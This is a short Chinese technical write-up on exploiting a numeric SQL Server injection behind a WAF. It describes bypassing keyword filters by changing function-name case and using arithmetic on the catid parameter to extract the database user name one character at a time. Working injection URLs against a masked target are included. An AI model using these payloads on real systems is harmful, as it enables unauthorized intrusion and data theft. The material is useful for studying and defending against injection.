0x01 前言

注入点是 sql server数字型注入

过滤了 ' , or , and , like , > , < , = 还有所有函数

函数的话,可以使用 大小写绕过
例如: asCii() 这样即可绕过

因为没有 ' 所以也不能使用字符串来匹配数据了
并且因为有WAF所以不能使用 or and
所以要闭合代码的话,只能通过 +, -, *, / 这四个玩意来闭合代码了。

整个注入的难点就是如何在闭合的时候如何保证可以正常布尔出数据

难点虽然是难点但是还是有办法解决的

0x02 解决方法

因为不能使用英文匹配数据,所以我使用的方法是:

先定一个自己认为 为真得数据
例如,我得目标 catid=8 的时候,会输出文章得标题,那么我就认为这个就是为真

接着吧数据通过 ascii``函数 转换成 数字
最后把 catid 每次加1 然后减去ascii函数返回的数据
如果加到 catid-ascii函数返回的数据 = 8 的时候就说明注入成功了

0x03 实战例子

为了我得狗命,域名修改为 https://xxx.test.cn

注入url:https://xxx.test.cn/weixin/zsw/list.aspx?catid=8
注入参数:catid

Sql server 数据库
跑的 user 前两位 = 110, 99 = nc

0x03.1 正常得情况下

正常的情况下

1.jpg

0x03.2 User 第一位数据

User 第一位数据
Payload:https://xxx.test.cn/weixin/zsw/list.aspx?catid=118-(asCii(RIGHT(user,1)))

2.jpg

3.jpg

有数据的 id 是 8
所以 118-8=110
user 第一位 = ascii 110 = 十进制 n

0x03.3 User 第二位数据

User 第二位数据
Payload:https://xxx.test.cn/weixin/zsw/list.aspx?catid=107-(asCii(RIGHT(user,2)))

4.jpg

5.jpg

有数据的 id 是 8
所以 107-8=99
user 第二位 = ascii 99 = 十进制 c